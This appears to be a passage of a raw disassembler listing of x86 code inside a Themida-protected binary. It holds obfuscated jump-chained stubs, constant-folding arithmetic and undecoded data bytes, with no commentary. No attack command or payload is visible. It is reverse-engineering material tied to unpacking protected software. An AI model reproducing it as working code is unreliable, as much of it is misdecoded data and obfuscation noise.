		dd 4B37C368h, 0C381D3F7h, 5C785CE1h, 73B8E94Bh,	0CFB20000h
		dd 4C65E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F5101:				; CODE XREF: Themida_:004F8680j
		push	edi
		mov	edi, 3AB22176h
		mov	ecx, 3E536103h
		jmp	loc_4F45FB
; ---------------------------------------------------------------------------

loc_4F5111:				; CODE XREF: Themida_:004FD82Aj
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edi, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_4FBBDA
; ---------------------------------------------------------------------------
		db 0E9h, 0BEh, 0DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F5136:				; CODE XREF: Themida_:004FE9F7j
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	6138h
		jmp	loc_4F40CD
; ---------------------------------------------------------------------------
		dd 405h, 3AB9E900h, 248B0000h, 7F1DE924h, 942D0000h, 0F713232Bh
		dd 0E32B2DD0h, 63E99A51h, 68000030h, 2017h, 87240489h
		dd 0D787243Ch, 443EE9h
		db 0
; ---------------------------------------------------------------------------

loc_4F5189:				; CODE XREF: Themida_:004FCF6Ej
		sub	edi, 7C4002BCh
		add	ebp, 3E944EB1h
		add	ebp, edi
		jmp	loc_4FD08C
; ---------------------------------------------------------------------------
		dd 3E56F0BEh, 4EC8104h,	0E9000000h, 0FFFFE4D5h
; ---------------------------------------------------------------------------

loc_4F51AC:				; CODE XREF: Themida_:004F7775j
		mov	esi, 382CBF83h
		xor	edi, esi
		mov	esi, [esp]
		jmp	loc_4F4239
; ---------------------------------------------------------------------------
		db 0C7h
		dd 65982047h, 6F813FC0h, 3575F620h, 2047FF19h, 281DBE56h
		dd 0E9550E77h, 5ED8h, 5A2434FFh, 0A9E95455h, 87FFFFFEh
		dd 29E92404h, 5E000066h, 56242C8Bh, 0C681E689h,	4, 4C681h
		dd 34870000h, 6CEFE924h, 478F0000h, 0DCE6E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F520E:				; CODE XREF: Themida_:004FE29Fj
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	edi
		mov	edi, 63711592h
		jmp	loc_4FA890
; ---------------------------------------------------------------------------

loc_4F5220:				; CODE XREF: Themida_:004F6A1Fj
		pop	ecx
		jmp	loc_4F3A24
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 32F9E904h, 0DD010000h, 7128C581h, 8AE92CB7h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F523B:				; CODE XREF: Themida_:004FAB8Ej
		pop	ebp
		jmp	loc_4FBDE0
; ---------------------------------------------------------------------------
		db 5Ch,	52h, 0B6h
		dd 0F5885164h, 0FFF276E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F524D:				; CODE XREF: Themida_:004FBD9Fj
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_4F442C
; ---------------------------------------------------------------------------

loc_4F525E:				; CODE XREF: Themida_:004F9118j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_4FC4D2
; ---------------------------------------------------------------------------

loc_4F5273:				; CODE XREF: Themida_:004FD9C6j
		push	ebx
		mov	ebx, 387913F7h
		sub	dword ptr [esp+4], 7B34131Dh
		add	[esp+4], ebx
		add	dword ptr [esp+4], 7B34131Dh
		pop	ebx
		pop	ebx
		sub	ebx, 387913F7h
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_4F9999
; ---------------------------------------------------------------------------
		dd 4BBh, 50EF8100h, 1212609h, 50BB53DFh, 0E9212609h, 4E57h
		dd 0E908E9C1h, 0F59h, 4BD55h, 0EB010000h, 69E9505Dh, 5F000003h
		dd 0FFEE51E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F52D5:				; CODE XREF: Themida_:004F5C0Dj
		pop	esi
		add	ebx, ecx
		jmp	loc_4FB9EE
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 1Ch
		dd 0DE99C24h, 0B2FFFFDCh, 66D100FFh, 0A7C1805Ah, 0E180D9F6h
		dd 1C18051h, 0BCE9C800h, 59000016h, 0E904C483h,	3938h
		dd 0ECB4505Bh, 6DC5E9h,	0CE8100h, 0E9307201h, 469Eh, 76FAB951h
		dd 0CF29EB31h, 8AD9E9h,	0FFF02900h, 0E95E2434h,	0FFFFE193h
		dd 4EC815Bh, 89000000h,	74FF2414h, 57E90424h, 68000017h
		dd 66D66D32h, 4E0C158h,	6A64BD55h, 0E5812605h, 65600BC2h
		dd 0AC58145h, 815CF227h, 9D3B35C5h, 5A98E911h, 0EA290000h
		dd 5AD0015Dh, 8B240487h, 54562424h, 4C6815Eh, 83000000h
		dd 348704C6h, 459DE924h, 0C3810000h, 4,	2C381h,	1C870000h
		dd 8F665C24h, 52662404h, 242C8766h, 66D5F766h, 74FF6655h
		dd 8B660224h, 0C483242Ch, 9F90E902h, 0C4810000h, 4, 98FBD55h
		dd 5EE919B3h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F53CF:				; CODE XREF: Themida_:004F96B1j
		pop	ebp
		jmp	loc_4F57EF
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 25h
		dd 8117C841h, 0E27446E5h, 0ED814D35h, 0BF7E13D3h, 78BAC681h
		dd 0EE297B5Dh, 910FE957h, 0E9510000h, 1DFh, 0BE9DF29h
		dd 58000060h, 265E981h,	0C829440Ch, 862E9h, 24248B00h
		dd 3FB5E9h, 57E28900h, 4E08E9h,	48B6600h, 4A49E924h, 0D6F70000h
		dd 0FFFA5BE9h, 0FE981FFh, 49447048h, 6E7EF181h,	0E9564D0Ch
		dd 577Eh
; ---------------------------------------------------------------------------

loc_4F5444:				; CODE XREF: Themida_:004FD15Bj
		pop	esp
		mov	[esp], edx
		push	3C01h
		mov	[esp], eax
		mov	eax, 6C6262A3h
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 939D9D5Ch
		mov	esi, ebp
		jmp	loc_4F4FE5
; ---------------------------------------------------------------------------
		db 80h
		dd 0EB282DC5h, 10EB8059h, 7525E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F5479:				; CODE XREF: Themida_:004F61CFj
		add	esp, 4
		add	esp, 4
		xor	esi, 25657986h
		mov	edx, [esp]
		jmp	loc_4F9741
; ---------------------------------------------------------------------------
		dd 52242C89h, 0CA6C96BAh, 6D71E904h, 0C4830000h, 0E9C30104h
		dd 776Ah, 8EE9C801h, 8B000087h,	0C481241Ch, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 58B61081h
		jmp	loc_4FCF5F
; ---------------------------------------------------------------------------

loc_4F54C6:				; CODE XREF: Themida_:004F6193j
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		sub	esp, 4
		mov	[esp], edx
		push	6BCCh
		mov	[esp], ebp
		push	dword ptr [esp]
		pop	edx
		jmp	loc_4FDD2C
; ---------------------------------------------------------------------------
aYfyssp_	db 'YfYSP_',0
		dd 242C8900h, 5FF8895Fh, 81242C8Bh, 4C4h, 2434FF00h, 66B3E95Ah
		dd 89500000h, 405E0h, 0A0E90000h, 53000017h, 5B2414F7h
		dd 0E9241C87h, 0FFFFD9D0h
; ---------------------------------------------------------------------------

loc_4F5524:				; CODE XREF: Themida_:004FED1Fj
		add	edi, 4
		jmp	loc_4F66EF
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8704EDh, 34895C24h, 77546824h, 14890000h, 1048E924h
		dd 50530000h, 6C5937B8h, 5625403Ah, 0E93A3A42h,	3289h
		dd 0BB53E689h, 4, 13A4E9h, 4EC8100h, 89000000h,	4832424h
		dd 48F0424h, 3B8B6824h,	34890000h, 4BE24h, 74010000h, 0D0E90424h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F558B:				; CODE XREF: Themida_:004F8A4Ej
		shr	edi, 5
		jmp	loc_4FB7F1
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8904ECh, 5D31B924h, 0C9814B85h, 7FC60230h,	1B6EC181h
		dd 0E1C134A6h, 0EC814906h, 4, 0BE243489h, 57C424A5h, 0D104E6C1h
		dd 2E6C1EEh, 28B2E681h,	0EAE96AAEh, 0B8FFFFEBh,	4, 11E9C329h
		dd 0B900006Dh, 490C008Eh, 0C8BCF29h, 61CAE924h,	0E6C10000h
		dd 3E6C104h, 8107E6C1h,	0EB9707F6h, 0E9F0012Fh,	7D85h
		dd 0FE0BEA81h, 4C68A380h, 89000037h, 0BDE9242Ch, 0F000072h
		dd 8F66C0B6h, 0D5E98704h, 81FFFFD8h, 4ECh, 7EA7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F562A:				; CODE XREF: Themida_:004FADEAj
		push	edx
		mov	dl, 46h
		xor	dl, 15h
		add	bl, dl
		pop	edx
		jmp	loc_4FCC2B
; ---------------------------------------------------------------------------
aVsN		db 'V]n',0
		align 2
aAuj		db '',0
		dw 5AF0h
aFsH		db ',H',0
		dw 5000h
		dd 762E6068h, 0F1E95809h, 0F700008Eh, 94C281DAh, 536A8440h
		dd 90C8E9h, 6987B900h, 81417E47h, 0B8967CC1h, 18EF8181h
		dd 12A977Dh, 0DB34E9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F567E:				; CODE XREF: Themida_:004F3F2Fj
		mov	ebp, 7BEA164Ch
		add	[esp+4], ebp
		mov	ebp, [esp]
		jmp	loc_4F6198
; ---------------------------------------------------------------------------

loc_4F568F:				; CODE XREF: Themida_:004F3B3Aj
		push	ebp
		mov	ebp, 52086BE7h
		jmp	loc_4F72D4
; ---------------------------------------------------------------------------
		dw 535Eh
		dd 65DE957h, 0CB880000h, 88E78853h, 0B5E95BF9h,	66FFFFEBh
		dd 667560B8h, 2B03C381h, 0A3EB8166h, 0C301661Ah, 0A3C38166h
		dd 0E953571Ah, 33BAh
; ---------------------------------------------------------------------------

loc_4F56CC:				; CODE XREF: Themida_:004F4F9Aj
		pop	esi
		inc	ecx
		jmp	loc_4FC44F
; ---------------------------------------------------------------------------
		db 21h
		dd 0C5CE9D8h, 7BBB0000h, 57296B3Dh, 9702B5BFh, 5FFB014Ch
		dd 0A5E9DE01h, 100005Dh, 64EF81D7h, 5A2D692Dh, 8702EF83h
		dd 248B243Ch, 0DF49E924h, 0E230FFFFh, 8BD13058h, 0C9E92414h
		dd 8900005Dh, 4C681E6h,	81000000h, 4C6h, 24348700h, 81435E5Ch
		dd 6D59AAEBh, 0E9DE015Ah, 2272h
; ---------------------------------------------------------------------------

loc_4F5734:				; CODE XREF: Themida_:004F7A7Dj
		mov	esi, 2
		add	ecx, 5CCE2BDCh
		jmp	loc_4FE786
; ---------------------------------------------------------------------------
		dd 54243489h, 0E953575Eh, 42FEh
; ---------------------------------------------------------------------------

loc_4F5750:				; CODE XREF: Themida_:004FD8C1j
		mov	esi, [esp]
		jmp	loc_4F6B00
; ---------------------------------------------------------------------------
		dd 88FBD55h, 0EDC15B2Dh, 3E5C107h, 69EBF581h, 0C58169CCh
		dd 0A1D07DDBh, 2C8BE831h, 4C48124h, 5000000h, 897E7746h
		dd 7FDE956h, 0E9530000h, 8615h,	6519EE81h, 0C60138B2h
		dd 6519C681h, 83E938B2h, 8100006Ch, 4ECh, 24048900h, 0B14C81B8h
		dd 476AE914h, 7680000h,	0E900003Ah, 5E3Fh, 2244EB81h, 0CB012F12h
		dd 2244C381h, 34FF2F12h, 0C4815924h, 4,	2474FF53h, 48F5B04h
		dd 24248B24h, 0FFEC73E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F57E5:				; CODE XREF: Themida_:004FD430j
		push	54F8h
		jmp	loc_4F2F69
; ---------------------------------------------------------------------------

loc_4F57EF:				; CODE XREF: Themida_:004F53D0j
		pop	edi
		shr	ebp, 2
		sub	ebp, 26713DD5h
		add	ebx, ebp
		pop	ebp
		jmp	loc_4F6449
; ---------------------------------------------------------------------------
aYaPsI		db 'Yp*',0
		align 2
		dw 8850h
		dd 0E54EE9CCh, 1487FFFFh, 24248B24h, 8904EC83h,	481241Ch
		dd 980D3924h, 24048B6Ah, 50E78957h, 0F3947B8h, 48404807h
		dd 0A903062Dh, 3E8C125h, 0D3393C05h, 8318E9E3h,	0E2C10000h
		dd 0B0BE5604h, 0F74D6D01h, 0A1E681DEh, 96583F4Ah, 0F6819648h
		dd 1A407BC3h, 0C15EF231h, 0BF5704EAh, 614627ADh, 1561E781h
		dd 0D7F76B49h, 7476CF81h, 0EF81776Eh, 0DC22C169h, 0E95FFA01h
		dd 9C0Dh, 0E9028F66h, 440Ah, 0A71AF681h, 0F12973DAh, 0E9C8015Eh
		dd 7037h, 0C281E289h, 4, 8704C283h, 19E92414h, 0F7000008h
		dd 81D5F7D5h, 0B52422C5h, 0D0F5817Fh, 813A031Eh, 0B60153EDh
		dd 5DEE89A8h, 815EF129h, 1D05E5EEh, 1DF0E92Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F58DA:				; CODE XREF: Themida_:004FA16Fj
		pop	ebx
		pop	ecx
		push	eax
		mov	ah, 0C9h
		and	ah, 64h
		dec	ah
		sub	ah, 0B6h
		xor	ah, 0ABh
		mov	dl, ah
		pop	eax
		jmp	loc_4F758B
; ---------------------------------------------------------------------------
		dw 2966h
		dd 19E95FFBh
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F58FB:				; CODE XREF: Themida_:004FD8A7j
		mov	[esp], edx
		mov	edx, 4DBB57D7h
		sub	[esp+8], edx
		pop	edx
		push	ebx
		mov	ebx, 7A745C07h
		add	[esp+8], ebx
		jmp	loc_4FB853
; ---------------------------------------------------------------------------
		db 2Dh
		dd 3B817ED1h, 0D105D801h, 53B817Eh, 44C471E3h, 7AA368h
		dd 24348900h, 12D1E9h, 0C8B6600h, 0E6895624h, 4BD55h, 73E90000h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F5947:				; CODE XREF: Themida_:004F4A37j
		push	eax
		mov	eax, 596035D4h
		add	eax, 4A8B562Ah
		sub	eax, 2AC2639h
		jmp	loc_4FEF62
; ---------------------------------------------------------------------------
		dd 55C28159h, 0E935E76Bh, 0FFFFDFB7h, 0F39CE95Ch, 5352FFFFh
		dd 63FAE9h
		db 0
; ---------------------------------------------------------------------------

loc_4F5975:				; CODE XREF: Themida_:004F6315j
		mov	[esp], ebx
		jmp	loc_4FEB32
; ---------------------------------------------------------------------------
		db 58h,	57h, 0BFh
		dd 2, 875FFE01h, 0D35C2434h, 0E99C243Ch, 0FFFFD560h, 1CC58145h
		dd 81037304h, 3C2141F5h, 1FC38106h, 1555B14h, 1FEB81EBh
		dd 8B555B14h, 0C481242Ch, 4, 0E905E3C1h, 9A4h
; ---------------------------------------------------------------------------

loc_4F59C0:				; CODE XREF: Themida_:004FE8F6j
		add	ebx, 368121BEh
		add	ebx, ebp
		jmp	loc_4FD787
; ---------------------------------------------------------------------------
		db 0BAh, 0CAh, 16h
		dd 0FBE95584h, 89000067h, 0E9E9242Ch, 8B000056h, 6F682404h
		dd 8900005Fh, 0E589242Ch, 70D3B850h, 0E95311C7h, 7E59h
		dd 0EB276BB8h, 6E5DB90Fh, 0C131353Eh, 8124048Bh, 4C4h
		dd 24448100h, 0C3500D04h, 246C815Ah, 0A2150C04h, 24448109h
		dd 9221A304h, 244C294Ah, 246C8104h, 9221A304h, 0CBA524Ah
		dd 109A215h, 5A082454h,	4246C81h, 5AC3500Dh, 0D4AAE959h
		dd 0C781FFFFh, 743B21ACh, 4EC83FDh, 54241489h, 4C2815Ah
		dd 81000000h, 4EAh, 24148700h, 2434895Ch, 7B91E9h, 0C3816600h
		dd 816677C2h, 663AF1CBh, 8166D3F7h, 6624EFC3h, 665BDE31h
		dd 348BF029h, 4C48124h,	0E9000000h, 9966h
; ---------------------------------------------------------------------------

loc_4F5A98:				; CODE XREF: Themida_:004FD74Cj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_4FF426
; ---------------------------------------------------------------------------
		db 5Dh,	0D1h, 0EBh
		dd 0C685557h, 5D3C8B56h, 3B24E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F5AB9:				; CODE XREF: Themida_:004F6B03j
		and	eax, ecx
		jmp	loc_4F9386
; ---------------------------------------------------------------------------
		dd 0C003E1C0h, 0B05008E1h, 0E9010C02h, 55A6h, 6804C483h
		dd 5B78h, 55240C89h, 0E989C589h, 0C1FE9h, 0E9E80800h, 1DDAh
		dd 24048B66h, 4EC81h, 0C890000h, 57E18924h, 4BFh, 4895E900h
		dd 0C7880000h, 6A96E9h,	5BFD8800h, 7FF768h, 24148900h
		dd 88EF8853h, 0CEFE5BFEh, 3DB368h, 241C8900h, 88F18851h
		dd 0FD8859CFh, 2434FF5Bh
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		not	ch
		sub	ch, 67h
		add	al, ch
		pop	ecx
		jmp	loc_4FEF8C
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 14h
		dd 4C48124h, 56000000h,	866FE952h, 0AE680000h, 0E9000072h
		dd 42FBh, 9F3757B8h, 3755BE64h,	0C631649Fh, 8124048Bh
		dd 4C4h, 0E9F20100h, 88C3h
; ---------------------------------------------------------------------------

loc_4F5B8C:				; CODE XREF: Themida_:004FB748j
		shl	esi, 6
		jmp	loc_4FD8B9
; ---------------------------------------------------------------------------
		dd 5504C483h, 0C5815D54h, 4, 4C581h, 2C870000h,	24248B24h
		dd 0BFE9C009h, 0FF000084h, 0E9042474h, 0FFFFF31Ah, 0DCE9E689h
		dd 52FFFFFBh, 0B6D8AEBAh, 0E9D50134h, 915Ch, 5EF12958h
		dd 81242C8Bh, 4C4h, 240C8700h, 0D224248Bh, 0E99C2424h
		dd 397Fh, 4246C81h, 1D3727A1h, 4245401h, 0FFEA79E9h, 5BDF01FFh
		dd 6363E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F5C05:				; CODE XREF: Themida_:004F4605j
		xor	esi, 7ADF2066h
		sub	ebx, esi
		jmp	loc_4F52D5
; ---------------------------------------------------------------------------
		dw 0B551h
		dd 0EC77E992h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F5C1A:				; CODE XREF: Themida_:004FBE72j
		mov	edx, 2
		add	ebp, 380A164Eh
		jmp	loc_4F74B6
; ---------------------------------------------------------------------------
		dw 0C701h
		dd 81DF0158h, 0D90BC0EFh, 4FE95B6Fh, 5B000022h,	4B850h
		dd 0C6010000h, 24348758h, 66C3315Ch, 0A1E930FFh, 55FFFFD2h
		dd 1D5FE9h, 0FDC18000h,	3687E9h, 0C3815A00h, 45D5A44h
		dd 5B50EB81h, 6BE90495h, 59FFFFEBh, 0CABE9h, 0E953AD00h
		dd 0FFFFFA5Ah, 585450ADh, 405h,	38BCE900h, 0C5010000h
		dd 0FFDF4CE9h, 595451FFh, 1B21BE56h, 0C6810A04h, 1C8A2C5Dh
		dd 0EE814646h, 268E477Ch, 835EF101h, 8E904E9h, 81FFFFD5h
		dd 4C7h, 1EB56800h, 3C890000h, 2474FF24h, 48F5F04h, 8CE95C24h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F5CD3:				; CODE XREF: Themida_:004F40D0j
		sub	esp, 4
		jmp	loc_4FE77E
; ---------------------------------------------------------------------------

loc_4F5CDB:				; CODE XREF: Themida_:004FC738j
		mov	[esp], edi
		mov	edi, 46245BE6h
		add	edi, 71E25C12h
		jmp	loc_4FBD22
; ---------------------------------------------------------------------------

loc_4F5CEE:				; CODE XREF: Themida_:004F4470j
		add	bl, ch
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_4F6624
; ---------------------------------------------------------------------------
		db 56h
		dd 0A25743BEh, 7E6C158h, 0FFD38DE9h, 0F6B0B6FFh, 28E951D6h
		dd 8300000Fh, 0D6E902C7h, 0C100001Ch, 0E6E902E7h, 8900002Dh
		dd 4832424h, 79E90424h,	8300000Ah, 0B75304C4h, 14EF80CDh
		dd 0CF80CFFEh, 81D7F694h, 4ECh,	24048900h, 0E4C04CB4h
		dd 0E9CCFE03h, 15E6h, 2C181h, 80680000h, 89000023h, 74FF240Ch
		dd 0C8B0424h, 5FFE924h,	0D8290000h, 2F59D92Dh, 19055B27h
		dd 5E687B17h, 53B1E9h, 4875B00h, 0E424E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F5D8E:				; CODE XREF: Themida_:004F7935j
		add	edi, 1
		push	ecx
		mov	ecx, 26D9303Ch
		sub	ecx, 2322D031h
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, edi
		pop	edi
		sub	esi, 7B65010Dh
		push	0F8Eh
		mov	[esp], ebp
		mov	ebp, 1AFA153Fh
		sub	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 31832460h
		add	edx, 5945329Dh
		jmp	loc_4FC3E8
; ---------------------------------------------------------------------------
aSyy		db '!Yy',0
		align 4
		dd 815AD689h, 40042444h, 140E31Dh, 81042474h, 4004246Ch
		dd 5E40E31Dh, 83241C8Bh, 55E904C4h, 2D000071h, 425E258Ah
		dd 8324148Bh, 0C08304C4h, 74FF5004h, 0E9580424h, 0FFFFE15Eh
		dd 0DDD5E952h, 0D800FFFFh, 0FFEB72E9h, 4E8C1FFh, 82C4E9h
		dd 20B95100h, 811E0A67h, 87042444h, 118B269h, 8104244Ch
		dd 8704246Ch, 5918B269h, 0E92434FFh, 83B3h
; ---------------------------------------------------------------------------

loc_4F5E50:				; CODE XREF: Themida_:004F45DFj
		push	eax
		push	ecx
		mov	ecx, 7A41383Dh
		mov	eax, ecx
		pop	ecx
		sub	eax, 1
		jmp	loc_4F4A1B
; ---------------------------------------------------------------------------
		dd 0E01260BDh, 0E9D5F706h, 5DB3h, 65FBED81h, 0EB015DE6h
		dd 77E9575Dh, 68000083h, 6B7210E6h, 83240C8Bh, 0D1F704C4h
		dd 369BBF57h, 0CF810F9Bh, 5F902AD4h, 499EC781h,	0E7813D2Eh
		dd 7384213Ch, 2D03C781h, 0F9311374h, 0E9CB895Fh, 2DF2h
		dd 77E9BE56h, 0EE812A30h, 0C1B560D0h, 0B4E9F029h, 81000006h
		dd 8F4E40EDh, 51F5010Ah, 3E28E9h, 800400h, 0C38058C3h
		dd 0EB8058C9h, 80C328B7h, 5266B7C3h, 0EB801FB2h, 80D3008Eh
		dd 5A668EC3h, 66C0B60Fh, 6824148Bh, 7BF9h, 0E9241489h
		dd 0FFFFDDC8h
; ---------------------------------------------------------------------------

loc_4F5F08:				; CODE XREF: Themida_:004F95A6j
		xor	ebx, 5AD3871h
		jmp	loc_4FAC7C
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C8Bh, 43E904ECh, 0FF000038h, 48B2434h, 4C48324h
		dd 4EC81h, 0C890000h, 81595424h, 4C1h, 4BB5300h, 0E9000000h
		dd 5D89h, 0E924248Bh, 4FE5h, 0D224248Bh, 0E99C2404h, 0FFFFCF9Ch
; ---------------------------------------------------------------------------

loc_4F5F58:				; CODE XREF: Themida_:004FB80Fj
		pop	ebx
		add	ecx, edi
		jmp	loc_4F7183
; ---------------------------------------------------------------------------
		dd 0E4E951ADh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F5F67:				; CODE XREF: Themida_:004FD78Ej
		push	ebp
		mov	ebp, 3CCA2F0Dh
		shl	ebp, 8
		sub	ebp, 1
		not	ebp
		xor	ebp, 41ED2A72h
		shr	ebp, 6
		jmp	loc_4FDD03
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9F189C6h, 4D8Dh, 4EC8393h,	87241C89h, 0D5F7242Ch
		dd 5B242C87h, 30C30593h, 0C5899D47h, 3076E958h,	48050000h
		dd 5B657D22h, 0F1E6E956h, 34FFFFFFh, 0BD685824h, 89000032h
		dd 0EEE92434h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F5FC7:				; CODE XREF: Themida_:004F6576j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_4FAF36
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 1DD9E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F5FDA:				; CODE XREF: Themida_:004F8004j
		xor	esi, 3CBBE84Ah
		xor	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_4FB46F
		push	dword ptr [edi+1Ch]
		jmp	loc_4F37D6
; ---------------------------------------------------------------------------

loc_4F5FFF:				; CODE XREF: Themida_:004FF101j
		push	ecx
		push	edx
		mov	dh, bh
		mov	ch, dh
		pop	edx
		mov	[eax], ch
		pop	ecx
		jmp	loc_4F4E56
; ---------------------------------------------------------------------------

loc_4F600E:				; CODE XREF: Themida_:004F7858j
		or	edi, 6CB26EA4h
		not	edi
		neg	edi
		dec	edi
		xor	edi, 750D6A45h
		sub	ecx, 0B3B5E50h
		add	ecx, 2D4F6B57h
		add	ecx, edi
		jmp	loc_4FAD7F
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 6002ED81h, 0EDC10A24h, 20E58108h, 81682E14h,	26141CEDh
		dd 5DEE0100h, 0E904C683h, 0FFFFD8DBh, 0C15AD189h, 0F6E905E1h
		dd 83FFFFD4h, 0EA8304C4h, 24148704h, 1BDAE9h, 0E9E28900h
		dd 0FFFFE4EFh, 8FB85053h, 48753972h, 126BE935h,	279A0D0Fh
		dd 3548789Ah, 7ABB3DFEh, 24348150h, 21CB20A5h, 4F98E9h
		dd 0F7F38700h, 0C1F387D6h, 0DBF706EBh, 4591EB81h, 0C3815292h
		dd 0D4A7EB49h, 815BDE31h, 0EF3FA4CEh, 0B0EE8160h, 0E971FF3Fh
		dd 8C42h, 0E9241C8Bh, 31ADh, 5124248Bh,	0A6720B9h, 0E9C8291Eh
		dd 8E3Bh, 1B45051h, 1E35E9h, 61BD5500h,	8178BF40h, 5F500AE5h
		dd 3E5C127h, 814DDDF7h,	0D684F3EDh, 0E9EB89CFh,	5250h
; ---------------------------------------------------------------------------

loc_4F6104:				; CODE XREF: Themida_:004F4FB9j
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_4FB38B
; ---------------------------------------------------------------------------
		dw 1C8Bh
aSB		db '$-b',0
		align 2
		dw 0DF87h
		dd 1AFBE947h, 0F65C0000h, 0B60F66F1h, 5430E9CCh, 0D9210000h
		dd 83241C8Bh, 0E9C104C4h, 377C6807h, 1C890000h,	0F889E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F6156:				; CODE XREF: Themida_:004FCB69j
		mov	esi, 5B512013h
		push	ebx
		push	edi
		mov	edi, 32E3121Bh
		inc	edi
		neg	edi
		push	ebp
		jmp	loc_4F6CE7
; ---------------------------------------------------------------------------

loc_4F616B:				; CODE XREF: Themida_:004FD9A0j
		sub	esi, 372F68AEh
		dec	esi
		add	esi, 0F058E8A9h
		xor	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	eax, 10h
		jmp	loc_4F54C6
; ---------------------------------------------------------------------------

loc_4F6198:				; CODE XREF: Themida_:004F568Aj
		add	esp, 4
		jmp	loc_4F9A6B
; ---------------------------------------------------------------------------
		db 0B8h
		dd 56F6106Bh, 61C1B951h, 94E976B7h, 0BA000052h,	55757AFBh
		dd 7A0DE281h, 0C28128B3h, 2327D154h, 0FFFE8BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F61C9:				; CODE XREF: Themida_:004F7B33j
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_4F5479
; ---------------------------------------------------------------------------
		dd 0E7200C2Dh, 0D8F75D23h, 1ABBE9h
		db 0
; ---------------------------------------------------------------------------

loc_4F61E1:				; CODE XREF: Themida_:004F8C4Bj
		mov	esi, 686C528Ah
		add	esi, 0E4ADD1F2h
		shr	esi, 8
		not	esi
		inc	esi
		jmp	loc_4F44D2
; ---------------------------------------------------------------------------
		db 81h
		dd 0AB4273E3h, 60EB8172h, 0E920AA40h, 127Bh, 8704EE83h
		dd 248B2434h, 24048924h, 381AE9h, 0D9F74900h, 13B5BB53h
		dd 0F381344Ah, 0CB64C014h, 15BD929h, 148759CAh,	8079E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F6236:				; CODE XREF: Themida_:004FA5F0j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	eax, 47742C73h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		shl	eax, cl
		jmp	loc_4F8072
; ---------------------------------------------------------------------------
		dd 8BC8015Bh, 0C481240Ch, 4, 30E95752h,	5F000075h, 242C8151h
		dd 3B495265h, 5524348Bh, 8B62E9h, 240C8900h, 310E9h, 0CC6AE900h
		dd 6866FFFFh, 89663138h, 0FF662414h, 66022474h,	5324148Bh
		dd 15E268h, 24248900h, 4240481h, 5B000000h, 0FFF0DDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F62B1:				; CODE XREF: Themida_:004F9CF8j
		sub	ebx, 8513C00h
		mov	edx, ebx
		mov	ebx, [esp]
